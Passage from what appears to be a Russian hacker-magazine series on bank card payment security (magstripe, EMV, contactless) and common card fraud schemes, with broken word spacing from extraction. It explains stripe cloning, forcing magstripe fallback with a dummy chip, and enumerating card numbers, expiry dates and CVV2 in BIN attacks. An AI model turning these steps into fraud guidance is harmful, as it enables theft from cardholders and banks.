недос таткам  маг нитной  полосы.  Магн  итную  полосу  легк  о  скоп  иров  ать  —
для это го необх  одим тольк  о спе циаль ный ридер/энко дер магн  итной полосы.
Даль ше  кло ниро ван ной  магн  итной  полосы  дост  аточ но  для  того,  чтоб  ы  рас‐ 
пла чивать ся в боль шинст  ве суперм  арке тов мира. Для верифик  ации влад  ель‐ 
ца карт  ы предп  олага лось исполь зовать подп  ись на чеке, которую касс  ир дол‐ 
жен све рить с под писью на обратной стор  оне кар ты.

На кар тинке выше ты видишь прим  ер записан ной на кар ту информац  ии. Чер‐ 
ные  полоск  и  —  это  един  ицы,  белые  —  нули.  Сущес твую  т  open  source
решения для декоди рован  ия этих дан ных — к прим  еру, magstripe.

На самом деле по изоб ражению вид но, что на карт  е не одна, а целых две
магн  итные  полосы  раз ной  плот ности  (Track1  и  Track2).  Какие  данн  ые  содер‐ 
жатся на магн  итной полосе?
• Но мер  кар ты,  дата  окон чания  дей ствия,  имя  вла дель ца  кар ты  —  все,  что

физичес ки отпеч  атан  о на лицевой сто роне кар ты.
• Серв  исный  код  —  три  циф ры,  которые  помога ют  взаи  мо дейс  тву ющем  у

с карт  ой устрой ству (тер минал или бан комат) понять, какие функ  ции есть
у карт  ы, а каких нет. Можн  о ли использ  овать эту карт  у в бан комате, осна‐ 
щена ли кар та чипом.
• Код  верифи кации  (CVV,  CVC,  CID  —  тер миноло гия  зависит  от  пла теж ной
сис темы) — код, ана логичн  ый тому, что написан на обратной стор  оне кар‐ 
ты. Он рас счи тывае  тся по алгор  ит му крип тограф  ичес кой чек‐сумм  ы (MDK
MAC)  с  помощью  128‐бит ного  клю ча  от  информа ции,  записан ной  на  маг‐ 
нитной  полосе.  Использ  ование  вычисл  яемо го  CVV  вмест  о  случ  айн  ого
помога ет от атак, ког да, напр  имер, злоу  мышл  енник под меня ет сер висный
код  и  пыта ется  убед  ить  плат  еж ный  тер минал,  что  кар та  не  оснащ  ена
чипом. Банк‐эми тент получит дан ные магн  итной полосы, све рит их, и кон‐ 
троль ная сум ма не сойд  ет ся с переданн  ым знач  ение  м в поле CVV. Сверк  и
про ходят в защищен ном хран  или ще клю чей — так называе  мом HSM (hard‐
ware secure module).

ЧИП/EMV
На  сме ну  магн  итной  полосе  в  девяност  ых  приш ли  смарт‐карт  ы,  для  популя‐ 
ризац  ии которых созд  али кон сорциу  м EMV (Europay, MasterCard, Visa). Прод‐ 
вига емая  конс  орци умом  идея  была  прос та:  использ  уя  осо бенн  ости
смарт‐карт,  сим метричн  ую  крип тограф  ию  и  крипт  ограф  ию  с  открыт  ым  клю‐ 
чом,  решить  все  проб лемы,  свя занн  ые  с  магн  итной  полосой.  Опе рации
со смарт‐карт  ой обесп  ечиваю  т три сте пени защиты:
1. Аутент  ификац  ия  кар ты.  Про верк  а  пла теж ным  терм  иналом  того,  что  кар та

подл  инная и дей ствит  ельн  о была выпуще на банк  ом N, а не была созд  ана
зло умыш ленник  ами в домашн  их услов  иях.
2. Вер  ифи кация  плат  ель щика.  Про вер ка  того,  что  эта  карт  а  прин  ад лежит
покупат  елю, сто ящем  у перед плат  еж ным тер миналом.
3. Ав торизац  ия  транз  акции.  От  кар ты  до  бан ка‐эми тен та  путь  дол гий.  Банк
дол жен  убе дитьс  я,  что  дан ные  опер  ации  нигд  е  не  были  искаж  ены  зло‐ 
умыш ленник  ами. Что сумм  а оста лась неизм  енной, что дата опер  ации кор‐ 
рект  ная, что эта опер  ация уни каль на, а не была уже про веден  а в прош лом
месяце.

Дав  ай пройд  емс  я по использ  уемым методам.

Аутентификация карты
Для  аутен тифика ции  кар ты  исполь зует ся  крип тогра фия  с  открыт  ым  клю чом
по  про токо лу  RSA.  Текущие  минималь ные  треб  ован  ия  по  длин  е  ключ  а  —
1024  бита.  Огра ниченн  ое  чис ло  цен тров  серт  ифика ции  выпуск  ают  ключ  и
для банк  ов, а банк  и их уже при вязы вают к самим карт  ам. Прив  ат ный ключ хра‐ 
нит ся  на  самой  смарт‐кар те  в  области,  недос тупной  для  чте ния.  Корн  евые
серт  ификат  ы  устан  ав лива ются  на  тер минал  при  его  нас трой ке.  Во  врем  я
тран закции  кар та  пред  ост  авляе  т  пуб личные  ключ  и  плат  еж ному  тер миналу
вмест  е  с  информа цией,  зашифр  ованн  ой  при ват ным  клю чом  в  режиме  циф‐ 
ровой под писи. Если публ  ичный ключ доверенн  ый и информа ция, передан ная
кар той, успешно расш  ифро вывае  тся этим клю чом, то тер минал счи тает карт  у
аутен тичной,  выпущенн  ой  имен но  тем  бан ком,  который  подп  исал  при ват ный
ключ, выданн  ый цент  ром серт  ифика ции.

Всег  о сущест  вуе  т три режима аутен тифика ции карт  ы:
• SDA — static data authentication;
• DDA — dynamic data authentication;
• CDA — combined dynamic data authentication.

В пер вом методе использ  овалось тольк  о одно ста тичес кое поле, хран  яще еся
на кар те. Оно подп  исывал  ось при ват ным клю чом и про верял  ось терм  иналом.
Это  было  EMV‐поле  AIP  (application  interchange  profile).  Но  кон сорци ум  EMV
быс тро  понял,  что  для  популяр ных  в  то  вре мя  офлай новых  тер миналов  (они
не  выходи ли  в  онлайн  для  сверк  и  крипт  ограм мы)  этог  о  было  явно  недос‐ 
таточн  о — любой мог клон  иро вать публ  ичный ключ и подп  исанн  ую ста тичес‐ 
кую стро ку, что бы созд  ать подд  елку.

След  ующий  метод  полагал ся  на  динами чес кие  дан ные,  прих  одя щие
от терм  инала. Тер минал генерир  ует поле UN — Unique Number, которое под‐ 
писыва ется при ват ным клю чом кар ты. Энтро пия этог  о поля — 232,  чего  дос‐ 
таточн  о для защиты от пер вой атак  и.

Од нако в 2009 году исслед  ова тели из Кем бриджс  ко го унив  ерс  итета пред‐ 
ста вили  работу,  опис  ыва ющую  так  называ емую  ата ку  PIN  OK  (PDF).  Спе‐ 
циальн  ое устрой ство, расп  олагаю  щееся меж ду кар той и тер миналом, совер‐ 
шало  ата ку  «человек  посеред  ине»  и  под меняло  одно  из  полей,  которые
отправл  яла  карт  а.  Эту  под мену  нельз  я  было  обна ружить  на  терм  инале
с  помощью  опи санн  ых  выше  методов.  Для  защиты  от  таких  атак  кон сорци ум
EMV  еще  до  находк  и  исслед  ова телей  пре дус мотрел  новый  механизм
защиты — схем  у CDA. Во вре мя нее терм  инал может пров  ерить целост  ность
больш  инст  ва  полей,  которые  передае  т  карт  а  и  которые  учас тву ют  в  фазе
под наз вание  м «риск‐менед жмент».

Оф лай новая  аутент  ификац  ия  созд  авалась  в  перв  ую  оче редь  для  защиты
офлай новых плат  ежей, когд  а тер минал не подк  люч  ен к интернет  у пост  оянн  о.
Именн  о поэто му, если результ  ат работы режимов DDA или CDA не заканч  ива‐ 
ется успе хом, в совр  еменн  ых тер миналах, под клю ченн  ых к интернет  у, это не
прив  едет к отказ  у тран закции в 99% слу чаев, так как банк‐эми тент авто ризу ет
ее  с  помощью  крип тограмм  ы,  как  опис  ано  ниже.  Одна ко  некотор  ые  пла теж‐ 
ные  сист  емы  рекоменд  уют  обра щать  вним  ание  на  пос тоянн  ые  неус пешные
аутен тификац  ии, осо бен но если они прои  схо дят в раз ных тер миналах.

Верификация плательщика
Есть  два  основных  спо соба  верифи кация  пла тельщ  ика:  ПИН‐код  и  подп  ись.
На самом деле их нем ного боль ше — ПИН‐код может про верять ся в офлай не
(на  самой  карт  е)  и  онлайн.  Он  может  быть  зашифр  ован  (с  помощью  сим‐ 
метричн  ого клю ча 3DES) или передав  ать ся в открыт  ом виде.

Еще воз можен спо соб верифи кации NoCVM — то есть отсутст  вие верифи‐ 
кации.  Хороший  при мер  таких  опе раций  —  те,  которые  не  пре выша ют
лимиты 3000 руб лей и не треб  уют вво да ПИН‐кода. Их иног да называ ют Tap &
Go.

Друг  ой спо соб, который в зависим  ост  и от плат  ежн  ой сист  емы называе  тся
CDCVM или On‐Device CVM, делае  т возм  ожной верифи кацию на мобильн  ом
телефо не  влад  ельц  а  кар ты.  Как  ты  уже  догадал ся,  он  использ  ует ся  в  Google
Pay и Apple Pay.

Авторизация транзакции
Для авто ризац  ии тран закции смарт‐карт  ы созд  ают плат  еж ную крип тограм му.
Кар та  отправ ляет  терм  иналу  спи сок  полей  —  их  набор  зависит  от  верс  ии
крип тограмм  ы  и  наст  ро ек  карт  ы.  Как  прав  ило,  это  сумм  а  опер  ации,  валюта,
дата  и  друг  ие  важ ные  для  эта па  риск‐менедж  мен та  нас тройк  и  терм  инала.
Далее  карт  а  допол няет  эти  поля  свои  ми  внут ренни ми  полями:  счет чик  опе‐ 
раций, верс  ия крипт  ограмм  ы.

По лучен ная  стро ка  шиф рует ся  с  помощью  записанн  ого  на  кар те  сек‐ 
ретно го клю ча 3DES в режиме циф ровой под писи и передае  тся бан ку вмест  е
со  всей  под писанн  ой  информац  ией.  Банк‐эмит  ент  использ  ует  аппар  ат ный
модуль  безопасн  ости  (hardware  security  module,  HSM),  на  котором
в  защищенн  ой  от  чтен  ия  области  памяти  содер жится  копия  сим метрич ного
клю ча кар ты.

HSM  такж  е  созд  ает  циф ровую  подп  ись  по  данн  ым  от  пла теж ного  тер‐ 
минала.  Если  он  получит  такую  же  крип тограмм  у,  то  транз  акция  будет  счи‐ 
тать ся авто ризо ванн  ой. Это знач  ит, что никт  о не подм  енил данн  ые опе рации
во  врем  я  их  переда чи  от  карт  ы  до  банк  а  эми тент  а.  На  этом  же  этап  е  рас‐ 
шифро выва ется  и  све ряет ся  ПИН‐код  кар ты,  в  случ  ае  если  исполь зует ся
онлайн‐свер ка ПИН.

Обр  ати вним  ание, что все эти три функ  ции работа ют хорошо толь ко вмес‐ 
те.  Что бы  кор рек тно  работал  а  верифик  ация,  она  дол жна  конт  рол  иров  ать ся
с  помощью  аутент  ификац  ии.  Если  нет  авто риза ции  —  вся  транз  акция  ста‐ 
новит ся высоко рис ковой, и так далее.

БЕСКОНТАКТНЫЕ ПЛАТЕЖИ
Бес контакт  ные  плат  ежи  ста ли  набирать  популярн  ость  с  середин  ы  2010‐х
годов.  Бан ки  и  пла теж ные  сис темы  продв  ига ют  их  как  быст  рый  и  удоб ный
спо соб  опла ты.  Оно  и  понят но  —  чем  больш  е  народ  пла тит  карт  ами,  тем
больш  е можн  о зарабо тать на комис сиях! С разв  ити ем тех нологий нужн  о раз‐ 
вивать и безопас ность, но это далеко не всег да так. И бес контакт  ные плат  ежи
как раз при мер из неудачн  ых.

Ког да соз давались беск  онтакт  ные пла тежи, кар ты с чипом в США еще не
были  осо бен но  рас простра нены,  поэто му  Visa  и  MasterCard  пре дус мотре ли
про межу точ ный  шаг,  ког да  новыми  бес контакт  ным  и  кар тами  можн  о  пла тить
на ста рых несов ременн  ых плат  еж ных тер миналах, которые не подд  ержи вают
совр  еменн  ую крип тогра фию. Этот шаг называ ется Legacy modes — режимы,
степ  ень безопасн  ости которых зна чительн  о ниже, чем у плат  ежей EMV и сов‐ 
ремен ных форм беск  онтак тных пла тежей.

Legacy  modes  по  сте пени  защиты  больш  е  напомин  ают  опе рации  с  маг‐ 
нитной  полосой,  тольк  о  про водят ся  через  NFC.  Нес мотря  на  то  что  эти
режимы  предп  олага лось  использ  овать  лишь  в  нес коль ких  стран  ах,  а  через
какое‐то  врем  я  и  вовс  е  отме нить,  мы  в  2020  году  встреч  аем  их  повс  емес‐ 
тно — в том чис ле в Рос сии, где даже магн  итная полоса запр  ещена.

От дель ная проб лема — это то, как плат  еж ные сист  емы подош ли к реали‐ 
зации  беск  онтак тных  плат  ежей.  Вмес то  того  чтоб  ы  прид  умать  что‐то  новое,
в комп  ани ях Visa и MasterCard решили и здесь исполь зовать EMV, но каж дая
сде лала это по‐сво ему, так что де‐юре они перест  али быть частью станд  арта
EMV.

INFO

Что из это го сле дует:
•Во‐пер вых, механизм  ы защиты и их проб лемы,

опи сан ные в начале 2000‐х годов, сохр  анились.
В  больш  инст  ве  карт  даже  крип тограф  ичес кие
клю чи,  исполь зуемые  для  крипт  ограмм  EMV
и NFC, одни и те же.
•Во‐вто рых,  ассоц  иация  EMV  не  могл  а  больш  е
влия  ть  на  то,  как  будет  пост  ро ен  пла тежн  ый
проц  есс.

В  ком пании  Visa  были  недовольн  ы  слишк  ом  дол гим  врем  енем  про веде ния
пла тежа.  Когд  а  для  этог  о  использ  овал ся  чип,  проб лем  не  было  —  карт  а
встав лялась  в  тер минал.  Одна ко  в  Visa  пос читали,  что  дер жать  карт  у  у  тер‐ 
минала, ожи дая, пока прой дут все шаги EMV, — это не очень‐то удоб но. Этап,
который  вызывал  основную  задер жку,  —  это  офлай новая  аутент  ифика ция
карт  ы.

Одн  оврем  енн  о с этим в MasterCard при няли диамет раль но прот  ивоп  олож‐ 
ное  решение  —  приз нали,  что  офлайн  овая  аутен тифика ция  важн  а  и  для  тех
карт,  которые  под держив  ают  наибо лее  безопас ную  схем  у  аутен тификац  ии
CDA, и сдел  али ее обяз  ательн  ой. В спе цифик  ации EMV, если взаи  мо дейс  твие
по схем  е CDA не закан чива ется успешно, тер минал все еще может отправ  ить
крипт  ограмм  у для онлай новой автор  иза ции. Тогд  а как для беск  онтакт  ных пла‐ 
тежей MasterCard неудачн  ая аутент  ификац  ия CDA всег да ведет к отмен  е пла‐ 
тежа.  Раз ница  во  вре мени  опер  аций  нез начитель ная,  одна ко  это  остае  тся
решаю  щим факт  ором для Visa.

ВЫВОДЫ
Теп  ерь, ког да ты зна ешь, как работаю  т элект  рон ные и в том чис ле бес контак‐ 
тные  пла тежи,  ты  готов  к  раз говору  об  уязв  имос тях  в  этих  схе мах.  Это  мы
обсу дим  в  след  ующих  статья  х,  а  заодн  о  раз берем  самые  гром кие  кей сы
мошен ничест  ва.

COVERSTORY

БЛИЗКИЕ

КОНТАКТЫ

КАК ХАКЕРЫ КРАДУТ ДЕНЬГИ
С БАНКОВСКИХ КАРТ

Тимур Юнусов

Се тевые  мошенн  ики  и  кард  еры  изобр  ета ют  все  новые
и  новые  спос  обы  похищать  деньг  и  со  сче тов  кли ентов  бан‐ 
ков. В этой статье я рас ска жу о методах, которые прес тупни‐ 
ки  использ  уют  для  обход  а  сис темы  безопасн  ости  бан ков‐ 
ских карт.

INFO

О том, как работа ют сами сист  емы безопасн  ости
карт, ты можешь узнать из пред  ыду щей статьи.

Все спо собы мошенн  ичес тва с бан ков ским  и кар тами мож но разд  елить на две
катего рии. Пер вая — масс  овые и хорошо извест  ные. Вто рую част  о называ ют
«белыми  китами»:  это  инцид  ент  ы,  которые  случ  ают ся  раз в 5–10 лет,  закан‐ 
чива ются  катас тро фой  для  атак  уемых  и  мног  омил лионн  ыми  приб  ыля ми
для  ата кующих  и  поэто му  привл  ека ют  к  себе  очень  мно го  вним  ания  со  сто‐ 
роны прес сы и регуля торов. В любом слу чае основной крит  ерий успе ха у кар‐ 
деров и им подоб ных жуликов — масс  овость и прос тота. Если мошенн  ичес‐ 
кую схе му лег ко вос про извести тысячи раз — это залог финанс  овой победы
над банк  ов ской сист  емой и гря дущей популярн  ости выбр  анног  о метода.

САМЫЕ РАСПРОСТРАНЕННЫЕ ТИПЫ МОШЕННИЧЕСТВА
Начн  ем с атак, с которым  и пла тежн  ым сис темам и бан кам прих  одит ся иметь
дело регулярн  о.

Платежи без 3-D Secure
Перв  ое мес то по расп  ростра ненн  ости сре ди мошенн  ическ  их схем занима ют
пла тежи в интерне те — они соверш  ают ся по схем  е card‐not‐present. В связ  и
с их мас совостью пла теж ные гигант  ы изобр  ели дополн  ительн  ый динами чес‐ 
кий фак тор – код 3‐D Secure.

Что такое 3-D Secure

3‐D  Secure  —  схем  а  допол нитель ной  автор  изац  ии  онлайн  овых  плат  ежей,
использ  ующая  три  сущ ности‐домена  (отсю да  и  наз вание  3‐Domain  Secure):
домен интернет‐магазин  а прин  имае  т данн  ые об опла те и переа  дрес  овыв  ает
поль зовател  я  на  домен  плат  еж ной  сис темы,  где  ввод  ит ся  однор  азо вый  код.
Далее  резуль тат  отправ ляет ся  на  трет  ий  домен  бан ка‐эквайе  ра,  он  све ряет
этот код и отправ ляет запр  ос, который подт  вержда ет или опро верг  ает тран‐ 
закцию обратно по цепоч ке интернет‐магази ну.

3‐D  Secure  отлично  помога ет  от  масс  овых  мошен ническ  их  схем.  Одна ко
часть  магази нов,  в  том  числ  е  круп ных,  таких  как  «Амаз  он»,  до  сих  пор
не  готова  работать  с  3‐D  Secure,  который,  по  их  мнен  ию,  уменьш  ает  кон‐ 
версию.  А  меж дународн  ые  пла теж ные  сис темы  и  не  наст  аивают!  Луч ше  тра‐ 
тить боль ше — это их девиз. Текущие пра вила пла тежей гла сят, что, если кар‐ 
та  подд  ержив  ает  3‐D  Secure,  а  магазин  эту  техн  ологию  не  подд  ержи вает,
в  случ  ае  опро тес тования  пла тежа  финан совые  рис ки  лежат  на  магази не.
Если  3‐D  Secure  не  под держи вает  кар та  —  на  банк  е‐эмит  ент  е.  Поэтом  у
по всем  у миру голод ные мошенн  ики ищут магазин  ы, которые не тре буют 3‐D
Secure.

Иногд  а это можн  о восп  ри нимать бук валь но: в 2018 году в Великоб ритании
выяви ли  одну  из  мошенн  ическ  их  схем.  Зло умыш ленник  и  опуб ликова ли
в социа  ль ных сетях объ явлен  ия о пятидес  ятипр  оцент  ной скид ке на дост  авку
пицц  ы  одно го  крупн  ого  бренд  а.  Этот  бренд  не  использ  овал  при  опла те  3‐D
Secure,  и  пла тежи  выпол нялись  по  купл  енным  на  разл  ичных  марк  етах  укра‐ 
денн  ым карт  ам. Это давало зло умыш ленник  ам выручк  у в 50% от сумм  ы каж‐ 
дой  про данн  ой  пицц  ы.  Схе ма  прор  або тала  нес кольк  о  месяцев,  прежд  е  чем
ее прик рыли.

Атака клонов
Вто рой  по  популярн  ости  вид  мошенн  ичес тва  —  созд  ание  клон  а  маг нитной
полосы  карт  ы.  Он  до  сих  пор  остае  тся  одним  из  самых  расп  ростран  енн  ых
методов атак на опер  ации с физичес кой карт  ой (так называ емые card‐present
transactions). Как ты зна ешь, маг нитную полосу чрезв  ычайн  о прост  о клон  иро‐ 
вать.

К отдель ным видам кибер прест  упле ний сто ит отнести исполь зование спе‐ 
циализ  иро ванн  ого  вред  оносн  ого  ПО.  Атак  а  дол жна  быть  легк  о  повт  оряе  ма
и  хорошо  масш  та бируе  ма.  Именн  о  поэтом  у  зло умышл  енник  и  заражаю  т
устройс  тва, на которых использ  уют ся тысячи карт каж дый день, — опе ратор‐ 
ские машины в крупн  ых суперм  аркет  ах.

INFO

Так  как  вся  инфраструк тура,  исполь зующая  пла‐ 
теж ный  тер минал  (POS,  Point‐of‐Sale),  называ‐ 
ется  POS  system,  то  и  разн  овидн  ость  этих  вре‐ 
доно сов  носит  назв  ание  POS  malware,  нес мотря
на то что сами POS они заражать не в сост  оянии.
Вмес то это го атак  е под верга ется сама опе ратор‐ 
ская машина — кас совый аппар  ат (cash register).

В  2013  году  аме риканс  кая  сеть  магазин  ов  Target  под вер глась  круп ней шей
атак  е.  В  ней  прест  упник  и  исполь зовали  еще  не  особ  енн  о  популярн  ую  тогд  а
схем  у  «ком про мета ция  цепоч ки  пос тавки».  Пос ле  заражен  ия  одног  о  из  под‐ 
рядчи ков зло умышл  енни кам уда лось про ник нуть в сеть супер маркет  ов, ском‐ 
про метир  овать  весь  домен  Windows  и  про никн  уть  в  опе рацио  нную  сис тему
непос редс твен но  на  кас сах.  На  этих  сист  емах  запуск  ались  так  называ емые
RAM‐scraping‐тро яны, которые скан  иров  али память в поиск  ах пат тернов тре‐ 
ков  маг нитной  полосы.  Ког да  трек  и  обна ружив  ались,  троя  н  пересыл  ал  их
на  устан  ов ленный  во  внут ренней  сети  C&C‐сер вер,  который  дальш  е  уже
отправл  ял эту информа цию во внешн  юю сеть.

INFO

Для соз дания копии маг нитной бан ковс  кой карт  ы
пот ребуе  тся  нес коль ко  секунд  и  спец  иальн  ый
ридер,  купить  который  мож но  на  Amazon.  Далее
злоу  мыш ленник  и  созд  ают  клон  и  идут  с  ним
в  магазин  ы  в  Аме рике  или  Европ  е.  Дамп  ы  бан‐ 
ковс  ких  карт  сво бодн  о  про даютс  я  и  покупаю  тся
на мно гочис ленных хакер ских форумах.

По чему  же  кло ниро ванн  ые  магн  итные  кар ты  до  сих  пор  так  популярн  ы,  нес‐ 
мотря  на  то  что  практ  ическ  и  все  они  сейч  ас  оснащ  ены  чипом?  Все  про ще
прост  ого: во мно гих аме риканс  ких магази нах до сих пор можн  о рас плат  ить ся
карт  ой,  оснащ  ен ной  чипом,  прост  о  про ведя  тран закцию  с  исполь зовани ем
маг нитной  полосы.  В  посл  едние  5–10  лет  это,  как  ни  странн  о,  самый  отста‐ 
лый рынок, из‐за которо го маг нитная полоса до сих пор при сутст  ву ет на бан‐ 
ков ских карт  ах.

Есл  и  же  плат  еж ный  тер минал  вдруг  откаж  ет ся  при нимать  магн  итную
полосу сраз  у, есть схе ма, работа ющая в обе их Аме риках и Европ  е, — techni‐
cal fallback. Эта тех ника зак лючае  тся в том, что злоу  мыш ленник триж ды встав‐ 
ляет в банк  омат или терм  инал кар ту с несущес твую  щим чипом и посл  е треть‐ 
ей  неус пешной  попыт ки  чтен  ия  тер минал  точ но  пред ложит  про вес ти  опе‐ 
рацию по маг нитной полосе.

В любом из этих слу чаев ответст  вен ность по прав  илам лежит на магази не,
выпол нившем  такую  высоко рис ковую  опер  ацию.  Тем  более  пла теж ные  сис‐ 
темы, такие как MasterCard, что бы избе жать имидж  евых рис ков, рекомен дуют
откло нять  тран закции,  приш  едш  ие  в  режиме  technical  fallback.  Никому
не хочет ся выясн  ять, была ли на самом деле у кли ента укра дена кар та, или он
прост  о  захотел  не  тра тить  день ги  и  объя  вить  о  мошен ническ  ой  опе рации.
Еще меньш  е хочет ся объя  снять разоз ленным клие  нтам, почему по их кар там
купили телеви зоры за тысячи дол ларов и в сот нях километ ров от их реаль ного
мес тополо жения.

А что в России?

В Рос сии тер миналы не дол жны при нимать к оплат  е маг нитную полосу, если
карт  а  оснащ  ена  чипом.  И  даже  technical  fallback  дол жен  быть  под  запр  етом.
Одна ко  есть  непр  ият ные  исклю чения.  На  под поль ных  форумах  недав но
обсужда ли,  что  сеть  «Ашан»  име ет  тер миналы,  прин  имаю  щие  опер  ации
по  technical  fallback.  В  любом  случ  ае,  даже  если  хакеры  не  могут  исполь‐ 
зовать  рус ские  карт  ы  в  Росс  ии,  им  ник то  не  меша ет  прод  авать  эти  дан ные
друг  им хакерам в Евро пе или Амер  ике для даль нейшей монети зации.

Офлайновые транзакции по чипу и атаки на аутентификацию
По прав  илам сов ремен ных плат  еж ных сис тем 99,9% опер  аций по карт  ам дол‐ 
жны  совер шать ся  онлайн  —  с  под твержде нием  крип тограм мы  на  сто роне
бан ка‐эмит  ен та. Исклю чения — это мет ро, опла ты в самоле тах и на кру изных
лай нерах.  То  есть  там,  где  интернет  дос тупен  с  перебоя  ми  либо  нет  воз‐ 
можнос ти  подол гу  ждать  отве та  от  банк  а‐эми тен та,  как,  нап ример,  у  тур‐ 
никетов мет ро. Да и когд  а созд  авались прот  окол  ы EMV, мно жест  во пла тежн  ых
сист  ем работал  о в офлайн  е по так называ емым Floor limit — опер  ации выше
этих  лимитов  дол жны  были  под тверждатьс  я  онлайн,  а  ниже  —  прох  одил  и
в  локаль ном  режиме,  то  есть  под твержда лись  самим  тер миналом.  Еще  5–
10  лет  назад  количест  во  таких  тер миналов,  особ  енн  о  в  стра нах  Латин ской
и  Север ной  Амер  ики  было  дост  аточн  о  велико,  что бы  масс  ово  пытатьс  я  ата‐ 
ковать недос татки офлай новой аутен тификац  ии карт.

БЕЛЫЕ КИТЫ
Именн  о  для  защиты  от  мас сового  и  прос того  мошенн  ичес тва  ког да‐то  были
изобр  етены  кар ты  с  чипом  и  под твержден  ие  транз  акций  с  помощью  кода 
3‐D Secure.  Эти  методы  защиты  не  иде альн  ы,  у  них  были  свои  пробл  емы,
о  которых  эксперт  ы  пред  упр  ежда ли  с  самого  начала.  Одна ко  такие  карт  ы
до  сих  пор  не  уда ется  масс  ово  взла мывать,  а  ког да  атак  а  получа ется,  она
боль ше  похожа  на  блицк  риг  —  все  прои  схо дит  в  счит  аные  дни  или  часы.
Небольш  ая групп  а зло умышл  енник  ов получае  т мак симум приб  ыли и исчез  ает
с  горизонт  а.  Именн  о  поэтом  у  каж дый  слу чай  или  новая  схе ма  вызыва ют
у эксперт  ов боль шой интер  ес.

Так  ие слу чаи мы будем называть белыми китами. Это инцид  ент  ы, которые
слу чают ся раз в 5–10 лет, заканч  ива ются катас тро фой для атак  уемых банк  ов
и мно гоми лион ными при быля ми для ата кующих и поэтом  у прив лека ют к себе
очень мно го вним  ания со сто роны прес сы и регулят  оров. Я рас скаж  у о нес‐ 
кольк  их видах подобн  ых атак, что бы наг лядно прои  ллюст  ри ровать фун дамен‐ 
тальн  ые недос татки техн  ологий кар точных пла тежей.

Распределенные атаки на подбор карточных реквизитов
Так  ие  ата ки  част  о  называю  т  BIN  Master  attack  или  distributed  guessing  attack.
Эти  назв  ания  они  получи ли  бла годар  я  самому  громк  ому  слу чаю,  который
про изо шел  в  2016  году.  Тогд  а  английс  кий  банк  Tesco  подв  ер гся  расп  ре‐ 
делен ной атак  е такого мас штаб  а, что им пришл  ось выкл  ючить карт  очные пла‐ 
тежи  на  48  часов.  За  нес кольк  о  дней  зло умыш ленник  ам  уда лось
украсть  22  мил лиона  фунт  ов  с  20  тысяч  карт.  Как  уже  упом  ина лось,  эти  дан‐ 
ные  легк  о  могут  исполь зовать ся  для  оплат  ы  в  интернет‐магазин  ах,  не  осна‐ 
щенн  ых  3‐D  Secure.  Однак  о  тут  есть  нюанс:  в  2018  году  регулят  ор  оштра‐ 
фовал  банк  на  16  мил лионов  фунт  ов  за  атак  у  2016  года,  —  скор  ее  всег  о,
это указ  ыва ет на то, что сами карт  ы не были оснащ  ены 3‐D Secure.

INFO

Пра вила,  называе  мые  3‐D  Secure  Liability  shift,
опред  еляю  т  ответс твен ную  сто рону  в  слу чае
мошен ническ  их опе раций: если банк не оснащ  ает
кар ты  3‐D  Secure,  ответс твен ность  за  мошен‐ 
ничест  во  лежит  на  бан ке.  Если  кар ты,  оснащ  ен‐ 
ные 3‐D Secure, использ  уютс  я, нап ример, в Ama‐
zon,  где  дан ная  тех нология  не  при меняе  тся,
ответс твен ность лежит на интернет‐магазине.

Как хакеры подбирают полные реквизиты карт?
Предп  оложим, у нас есть одна кар та — наша. Ее номер сос тоит из неск  ольк  их
част  ей.  Перв  ые  шесть  цифр  называ ются  BIN  —  bank  identification  number.
Один  и  тот  же  BIN  при  этом  может  прин  адл  ежать  более  чем  одно му  бан ку,
кро ме  того,  у  банк  а  может  быть  нес коль ко  BIN  Range.  Одна ко  это  глав ная
отправн  ая точк  а, от которой и пош ло назв  ание ата ки. Посл  едняя цифр  а так же
вычисл  яет ся по ал горит му конт  роль ной сумм  ы «Луна».

Предп  оложим, наша кар та имее  т номер 1234 5678 1234 5670. Сле дующая
кар та из это го диапаз  она, сог ласно алгор  ит му, будет заканч  иватьс  я на 5688,
затем  5696  и  так  далее.  Есть  ненуле вая  веро ятность  того,  что  кар‐ 
ты 5688 и 5696 сущест  ву ют и активны.

Теп  ерь необ ходимо выясн  ить знач  ение поля Expiry Date. Если банк выда ет
номера карт посл  едова тельн  о, то, знач  ит, след  ующий клие  нт банк  а, которо му
выпуст  или карт  у посл  е тебя, будет облад  ать номером 5688. Если банк боль‐ 
шой и открыв  ает сот ни карт каж дый день, ско рее всег  о, поле Expiry Date сов‐ 
падет  с  таковым  на  тво ей  карт  е  либо  будет  отлич  атьс  я  на  один  месяц.
Для  защиты  от  подобн  ого  под бора  зна чений  пла тежн  ые  сист  емы  рекомен‐ 
дуют внед рять ран домизац  ию PAN — выдавать их не пос ледоват  ель но, а слу‐ 
чайн  о. Тогд  а хакерам будет сложн  ее узнать Expiry Date кар ты 5688.

Но  нереша емых  задач  нет.  Сущес твуе  т  мно жес тво  бан ковс  ких  серв  исов,
которые  помога ют  подобр  ать  связк  у  полей  PAN  /  Expiry  Date.  Сред  и  них  —
сис тема  вос стан  ов ления  пароля  или  логина  мобиль ного  бан ка,  регис тра ция
в сис теме ДБО, воз врат денеж ных средств в плат  еж ном эквай ринг  е.

И  наконец,  оста лось  угад  ать  три  циф ры  с  обратной  сто роны  карт  ы  —
CVV2/CVC2.  В  кон це  2014  года,  ког да  иссле дова тели  из  Унив  ерс  итета
Ньюкасл  а  впер вые  пров  ели  анал  из  ата ки  на  банк  Tesco,  они  обна ружил  и,
что  291  из  400  самых  популярн  ых  онлай новых  сер висов  дает  воз можность
перебир  ать поле CVV2. Это неуди витель но: ведь день ги не прин  ад лежат вла‐ 
дель цам этих серв  исов. Серв  ис — лишь инс трум  ент для ата кующе го. Знач  ит,
у  зло умышл  енник  ов  всег да  будет  дос таточ но  инст  ру мент  ов  для  перебо ра
рек визитов  банк  ов ских  карт.  Напр  имер,  в  2019  году  подоб ная  уязв  имость
была устра нена в пла тежн  ом модуле Magento CMS для PayPal.

Дру гая  час то  прим  еня емая  злоу  мыш ленни ками  разн  овидн  ость  этой  ата‐ 
ки  —  это  исполь зование  подобр  анных  рек визитов  для  выпус ка  мобиль ного
кошель ка  Google  Pay  или  Apple  Pay.  Иро ния  закл  ючае  тся  в  том,  что  один
из самых гром ких случ  аев мошенн  ичес тва был напр  авлен  на  сами  магазин  ы
Apple. Дело в том, что множ  ест  во банк  ов (опять‐таки в Аме рике) не треб  уют
допол нительн  ой  верифи кации  с  помощью  одно разо вого  кода  или  звонк  а
в  банк  при  выпуск  е  мобильн  ого  кошельк  а  Apple  Pay.  Это  означ  ает,  что,  зная
толь ко  номер  кар ты,  срок  ее  дейс  твия  и  код  CVV2,  можн  о  выпуст  ить  пол‐ 
